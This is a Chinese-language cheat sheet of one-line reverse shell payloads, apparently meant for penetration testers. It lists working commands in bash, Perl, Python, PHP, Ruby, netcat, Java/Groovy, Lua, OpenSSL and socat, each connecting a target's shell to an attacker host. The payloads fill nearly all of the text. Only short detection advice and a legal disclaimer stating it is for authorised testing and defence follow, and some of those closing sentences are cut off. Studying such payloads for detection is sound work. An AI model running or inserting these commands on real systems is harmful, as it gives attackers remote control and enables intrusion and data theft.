滲透測試與應急響應中,反彈 Shell 是建立受控通道的核心技術。本文匯總 10 種主流語言/工具的一行式 Payload,附帶適用條件與檢測建議,僅供授權測試與防禦研究使用。
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
# 注:部分精簡版 BusyBox 不支持 /dev/tcp
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
# 傳統版(需 -e 支持)
nc -e /bin/sh 10.0.0.1 1234
# 無 -e 版本(構造 FIFO)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f
# 雙管道雙向
nc x.x.x.x 8888 | /bin/sh | nc x.x.x.x 9999
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&'..t:getfd()..' >&'..t:getfd()..' 2>&'..t:getfd())"
# 攻擊機監聽
openssl s_server -quiet -key key.pem -cert cert.pem -port 1234
# 目標機反彈
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:1234 > /tmp/s; rm /tmp/s
# 攻擊機
socat file:`tty`,raw,echo=0 tcp-listen:1234
# 目標機
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:1234
auditd 監控 execve 調用,關注異常父子進程關係(如 java 衍生 bash)。/sbin/nologin),容器落地無 Shell 環境。未經授權獲取計算機系統控制權屬違法行為(中國《刑法》第 285 條)。本文旨在幫助藍隊理解攻擊向量、構建檢測規則,嚴禁用於非授權測試。